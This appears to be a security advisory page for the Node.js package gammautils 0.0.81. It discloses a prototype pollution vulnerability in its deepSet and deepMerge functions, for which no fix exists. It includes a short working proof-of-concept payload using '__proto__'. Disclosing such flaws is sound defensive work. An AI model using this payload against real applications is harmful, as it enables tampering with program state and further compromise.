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gammautils@0.0.81 vulnerabilities

Lots of utilities for Node.js

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Direct Vulnerabilities

Known vulnerabilities in the gammautils package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Prototype Pollution

gammautils is a Lots of utilities for Node.js

Affected versions of this package are vulnerable to Prototype Pollution via the deepSet and deepMerge functions.

POC:

const gammautils = require('gammautils');
var payload = JSON.parse('{""__proto__"":{""polluted"":true}}');
gammautils.object.deepSet({}, '__proto__.polluted2', true);
gammautils.object.deepMerge({}, payload);
console.log(polluted);
console.log(polluted2);

How to fix Prototype Pollution?

There is no fixed version for gammautils.

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